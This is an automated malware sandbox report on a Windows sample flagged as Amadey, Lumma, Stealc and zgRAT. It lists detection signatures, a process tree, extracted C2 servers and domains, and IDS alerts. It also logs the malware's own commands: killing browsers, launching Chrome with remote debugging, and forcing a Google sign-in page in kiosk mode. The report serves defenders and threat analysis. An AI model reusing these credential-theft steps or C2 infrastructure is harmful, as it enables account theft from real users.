Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1578757
MD5:	6ceb0f68635c643029bdcbf6fab01b41
SHA1:	c59cacff4ad813295a2bdc53d524df6dc62526b4
SHA256:	e02129bdbea6e49627ffbff6f291a4c1295d15725f47c1ebdae7c85a1a7dbb59
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC, Amadey, Credential Flusher, LummaC Stealer, PureLog Stealer, Stealc, zgRAT

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for dropped file

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Credential Flusher

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected PureLog Stealer

Yara detected Stealc

Yara detected zgRAT

AI detected suspicious sample

Binary is likely a compiled AutoIt script file

C2 URLs / IPs found in malware configuration

Creates multiple autostart registry keys

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Sigma detected: New RUN Key Pointing to Suspicious Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Yara detected Generic Downloader

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to call native functions

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains functionality to read the PEB

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries sensitive Operating System Information (via WMI, Win32_ComputerSystem, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: CurrentVersion Autorun Keys Modification

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses code obfuscation techniques (call, push, ret)

Uses taskkill to terminate processes

Yara detected Credential Stealer

Yara signature match

Classification

Process Tree

System is w10x64

file.exe (PID: 7440 cmdline: "C:\Users\user\Desktop\file.exe" MD5: 6CEB0F68635C643029BDCBF6FAB01B41)

skotes.exe (PID: 7636 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: 6CEB0F68635C643029BDCBF6FAB01B41)

skotes.exe (PID: 7756 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6CEB0F68635C643029BDCBF6FAB01B41)

skotes.exe (PID: 2496 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: 6CEB0F68635C643029BDCBF6FAB01B41)

6f93831ea2.exe (PID: 5236 cmdline: "C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

6f93831ea2.exe (PID: 5000 cmdline: "C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe" MD5: C00A67D527EF38DC6F49D0AD7F13B393)

b1c5a9309d.exe (PID: 7540 cmdline: "C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe" MD5: 2DF47222A49EAB61FD1ED5F6F983ED1C)

140460b5fe.exe (PID: 7808 cmdline: "C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe" MD5: 323113BC721571D0455A110DD78830C0)

chrome.exe (PID: 3796 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

7a7de3f1d8.exe (PID: 8128 cmdline: "C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe" MD5: 7E5C2110A07FCC79B87D39DE76DF15D2)

taskkill.exe (PID: 8112 cmdline: taskkill /F /IM firefox.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 8072 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 6876 cmdline: taskkill /F /IM chrome.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 6892 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 8188 cmdline: taskkill /F /IM msedge.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 5796 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 1284 cmdline: taskkill /F /IM opera.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3176 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

taskkill.exe (PID: 3408 cmdline: taskkill /F /IM brave.exe /T MD5: CA313FD7E6C2A778FFD21CFB5C1C56CD)

conhost.exe (PID: 3916 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

firefox.exe (PID: 7232 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

54993b55c5.exe (PID: 7948 cmdline: "C:\Users\user\AppData\Local\Temp\1018431001\54993b55c5.exe" MD5: 4D64B08FFD5993C585D881FA55708E10)

c867aabc28.exe (PID: 8080 cmdline: "C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

conhost.exe (PID: 5244 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

c867aabc28.exe (PID: 6888 cmdline: "C:\Users\user\AppData\Local\Temp\1018432001\c867aabc28.exe" MD5: AFD936E441BF5CBDB858E96833CC6ED3)

b1c5a9309d.exe (PID: 7932 cmdline: "C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe" MD5: 2DF47222A49EAB61FD1ED5F6F983ED1C)

b1c5a9309d.exe (PID: 5828 cmdline: "C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe" MD5: 2DF47222A49EAB61FD1ED5F6F983ED1C)

firefox.exe (PID: 5936 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 3720 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 4116 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2296 -parentBuildID 20230927232528 -prefsHandle 2244 -prefMapHandle 2236 -prefsLen 25359 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {8cb32781-5a30-4b8e-a269-1f34095213b3} 3720 "\\.\pipe\gecko-crash-server-pipe.3720" 1c127970b10 socket MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

firefox.exe (PID: 6532 cmdline: "C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4276 -parentBuildID 20230927232528 -prefsHandle 4268 -prefMapHandle 4264 -prefsLen 26374 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {6d88d8b3-9e28-4053-b6d4-c8b5baf31d41} 3720 "\\.\pipe\gecko-crash-server-pipe.3720" 1c139a53810 rdd MD5: C86B1BE9ED6496FE0E0CBE73F81D8045)

140460b5fe.exe (PID: 2844 cmdline: "C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe" MD5: 323113BC721571D0455A110DD78830C0)

7a7de3f1d8.exe (PID: 4428 cmdline: "C:\Users\user\AppData\Local\Temp\1018430001\7a7de3f1d8.exe" MD5: 7E5C2110A07FCC79B87D39DE76DF15D2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
zgRAT	zgRAT is a Remote Access Trojan malware which sometimes drops other malware such as AgentTesla malware. zgRAT has an inforstealer use which targets browser information and cryptowallets.Usually spreads by USB or phishing emails with -zip/-lnk/.bat/.xlsx attachments and so on.	No Attribution	https://bazaar.abuse.ch/browse/signature/zgRAT/ https://kcm.trellix.com/corporate/index?page=content&id=KB96190&locale=en_US https://www.cloudsek.com/blog/threat-actors-abuse-ai-generated-youtube-videos-to-spread-stealer-malware https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/ https://www.fortinet.com/blog/threat-research/smokeloader-using-old-vulnerabilities	https://malpedia.caad.fkie.fraunhofer.de/details/win.zgrat

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["rapeflowwj.lat", "discokeyus.lat", "energyaffai.lat", "grannyejh.lat", "crosshuaht.lat", "sustainskelet.lat", "necklacebudi.lat", "aspecteirs.lat", "lossekniyyt.click"], "Build id": "9Z1cyc--"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Temp\1018424001\6f93831ea2.exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000021.00000002.2984159322.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000006.00000003.2317025706.0000000005190000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2776055082.000000000163D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000002.00000002.1790140018.0000000000B71000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000003.2663325624.00000000050F0000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2803095307.0000000001693000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000006.00000002.2984323446.0000000000B71000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000002.1746747883.0000000000631000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000002.00000003.1749880322.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000021.00000003.2859507877.0000000005260000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000003.1706351975.0000000004B00000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000C.00000003.2803095307.000000000163D000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000C.00000003.2817325747.0000000001694000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
0000000B.00000002.3012648749.00000000012DE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000001.00000002.1784037637.0000000000B71000.00000040.00000001.01000000.00000007.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0000000B.00000002.2986000648.0000000000A51000.00000040.00000001.01000000.0000000D.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
0000000C.00000003.2776055082.0000000001693000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000010.00000002.2998393956.0000000001452000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000001.00000003.1739885590.0000000004D70000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000007.00000000.2459340730.0000000000E22000.00000002.00000001.01000000.00000009.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
00000007.00000002.2471879118.00000000045F9000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
Process Memory Space: 140460b5fe.exe PID: 7808	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 140460b5fe.exe PID: 7808	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: 140460b5fe.exe PID: 7808	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: b1c5a9309d.exe PID: 7932	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b1c5a9309d.exe PID: 7932	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: b1c5a9309d.exe PID: 7932	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 7a7de3f1d8.exe PID: 8128	JoeSecurity_CredentialFlusher	Yara detected Credential Flusher	Joe Security
Process Memory Space: b1c5a9309d.exe PID: 5828	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b1c5a9309d.exe PID: 5828	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: b1c5a9309d.exe PID: 5828	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Process Memory Space: b1c5a9309d.exe PID: 5828	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: 140460b5fe.exe PID: 2844	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: 140460b5fe.exe PID: 2844	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 30 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
7.0.6f93831ea2.exe.e20000.0.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.0.6f93831ea2.exe.e20000.0.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
1.2.skotes.exe.b70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
6.2.skotes.exe.b70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
0.2.file.exe.630000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
2.2.skotes.exe.b70000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
7.2.6f93831ea2.exe.46594e0.2.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.6f93831ea2.exe.46594e0.2.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.6f93831ea2.exe.46594e0.2.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.6f93831ea2.exe.4613198.1.raw.unpack	JoeSecurity_GenericDownloader_1	Yara detected Generic Downloader	Joe Security
7.2.6f93831ea2.exe.4613198.1.raw.unpack	JoeSecurity_zgRAT_1	Yara detected zgRAT	Joe Security
7.2.6f93831ea2.exe.4613198.1.raw.unpack	JoeSecurity_PureLogStealer	Yara detected PureLog Stealer	Joe Security
7.2.6f93831ea2.exe.4613198.1.raw.unpack	MALWARE_Win_zgRAT	Detects zgRAT	ditekSHen	0xf10c:$s1: file:/// 0x96a23:$s1: file:/// 0xf01c:$s2: {11111-22222-10009-11112} 0xf09c:$s3: {11111-22222-50001-00000} 0x968a7:$s3: {11111-22222-50001-00000} 0x948e7:$s4: get_Module 0xe890:$s5: Reverse 0x84ebe:$s5: Reverse 0x11c92f:$s5: Reverse 0xcd07:$s6: BlockCopy 0x84ba8:$s7: ReadByte 0x96a35:$s8: 4C 00 6F 00 63 00 61 00 74 00 69 00 6F 00 6E 00 00 0B 46 00 69 00 6E 00 64 00 20 00 00 13 52 00 65 00 73 00 6F 00 75 00 72 00 63 00 65 00 41 00 00 11 56 00 69 00 72 00 74 00 75 00 61 00 6C 00 ...
Click to see the 8 entries

Sigma Signatures

System Summary

Sigma detected: New RUN Key Pointing to Suspicious Folder

Source: Registry Key set

Author: Florian Roth (Nextron Systems), Markus Neis, Sander Wiebing: Data: Details: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2496, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b1c5a9309d.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\1018429001\140460b5fe.exe, ParentProcessId: 7808, ParentProcessName: 140460b5fe.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 3796, ProcessName: chrome.exe

Sigma detected: CurrentVersion Autorun Keys Modification

Source: Registry Key set

Author: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\Users\user\AppData\Local\Temp\1018428001\b1c5a9309d.exe, EventID: 13, EventType: SetValue, Image: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe, ProcessId: 2496, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\b1c5a9309d.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:19.257280+0100	2028371	3	Unknown Traffic	192.168.2.4	49787	172.67.131.246	443	TCP
2024-12-20T11:12:21.144835+0100	2028371	3	Unknown Traffic	192.168.2.4	49794	172.67.131.246	443	TCP
2024-12-20T11:12:28.401442+0100	2028371	3	Unknown Traffic	192.168.2.4	49814	172.67.197.170	443	TCP
2024-12-20T11:12:30.301296+0100	2028371	3	Unknown Traffic	192.168.2.4	49821	172.67.197.170	443	TCP
2024-12-20T11:12:39.931810+0100	2028371	3	Unknown Traffic	192.168.2.4	49847	172.67.197.170	443	TCP
2024-12-20T11:12:41.908247+0100	2028371	3	Unknown Traffic	192.168.2.4	49853	172.67.197.170	443	TCP
2024-12-20T11:12:44.714549+0100	2028371	3	Unknown Traffic	192.168.2.4	49859	172.67.197.170	443	TCP
2024-12-20T11:12:47.239410+0100	2028371	3	Unknown Traffic	192.168.2.4	49867	172.67.197.170	443	TCP
2024-12-20T11:12:48.408298+0100	2028371	3	Unknown Traffic	192.168.2.4	49873	172.67.197.170	443	TCP
2024-12-20T11:12:49.833483+0100	2028371	3	Unknown Traffic	192.168.2.4	49878	172.67.197.170	443	TCP
2024-12-20T11:12:50.714097+0100	2028371	3	Unknown Traffic	192.168.2.4	49886	172.67.197.170	443	TCP
2024-12-20T11:12:54.187224+0100	2028371	3	Unknown Traffic	192.168.2.4	49896	172.67.197.170	443	TCP
2024-12-20T11:12:55.276377+0100	2028371	3	Unknown Traffic	192.168.2.4	49901	172.67.197.170	443	TCP
2024-12-20T11:12:58.382968+0100	2028371	3	Unknown Traffic	192.168.2.4	49914	172.67.197.170	443	TCP
2024-12-20T11:12:59.065187+0100	2028371	3	Unknown Traffic	192.168.2.4	49915	172.67.197.170	443	TCP
2024-12-20T11:13:02.269780+0100	2028371	3	Unknown Traffic	192.168.2.4	49929	172.67.197.170	443	TCP
2024-12-20T11:13:02.469524+0100	2028371	3	Unknown Traffic	192.168.2.4	49930	172.67.197.170	443	TCP
2024-12-20T11:13:06.245124+0100	2028371	3	Unknown Traffic	192.168.2.4	49943	104.21.23.76	443	TCP
2024-12-20T11:13:06.962783+0100	2028371	3	Unknown Traffic	192.168.2.4	49949	172.67.197.170	443	TCP
2024-12-20T11:13:08.232404+0100	2028371	3	Unknown Traffic	192.168.2.4	49950	104.21.23.76	443	TCP
2024-12-20T11:13:20.812096+0100	2028371	3	Unknown Traffic	192.168.2.4	49988	172.67.177.88	443	TCP
2024-12-20T11:13:22.795886+0100	2028371	3	Unknown Traffic	192.168.2.4	49995	172.67.177.88	443	TCP
2024-12-20T11:13:31.007409+0100	2028371	3	Unknown Traffic	192.168.2.4	50010	172.67.177.88	443	TCP
2024-12-20T11:13:33.543762+0100	2028371	3	Unknown Traffic	192.168.2.4	50012	172.67.177.88	443	TCP
2024-12-20T11:13:36.014865+0100	2028371	3	Unknown Traffic	192.168.2.4	50018	172.67.177.88	443	TCP
2024-12-20T11:13:38.653200+0100	2028371	3	Unknown Traffic	192.168.2.4	50024	172.67.177.88	443	TCP
2024-12-20T11:13:45.440403+0100	2028371	3	Unknown Traffic	192.168.2.4	50038	172.67.177.88	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:20.011792+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49787	172.67.131.246	443	TCP
2024-12-20T11:12:29.146844+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49814	172.67.197.170	443	TCP
2024-12-20T11:12:40.685310+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49847	172.67.197.170	443	TCP
2024-12-20T11:12:42.691324+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49853	172.67.197.170	443	TCP
2024-12-20T11:12:49.404910+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49873	172.67.197.170	443	TCP
2024-12-20T11:12:51.475538+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49886	172.67.197.170	443	TCP
2024-12-20T11:13:06.996945+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49943	104.21.23.76	443	TCP
2024-12-20T11:13:09.017537+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49950	104.21.23.76	443	TCP
2024-12-20T11:13:21.240345+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49988	172.67.177.88	443	TCP
2024-12-20T11:13:23.595645+0100	2054653	1	A Network Trojan was detected	192.168.2.4	49995	172.67.177.88	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-20T11:12:20.011792+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49787	172.67.131.246	443	TCP
2024-12-20T11:12:29.146844+0100	2049836	1	A Network Trojan was detected	192.168.2.4	49814	172.67.197.170	443	TCP
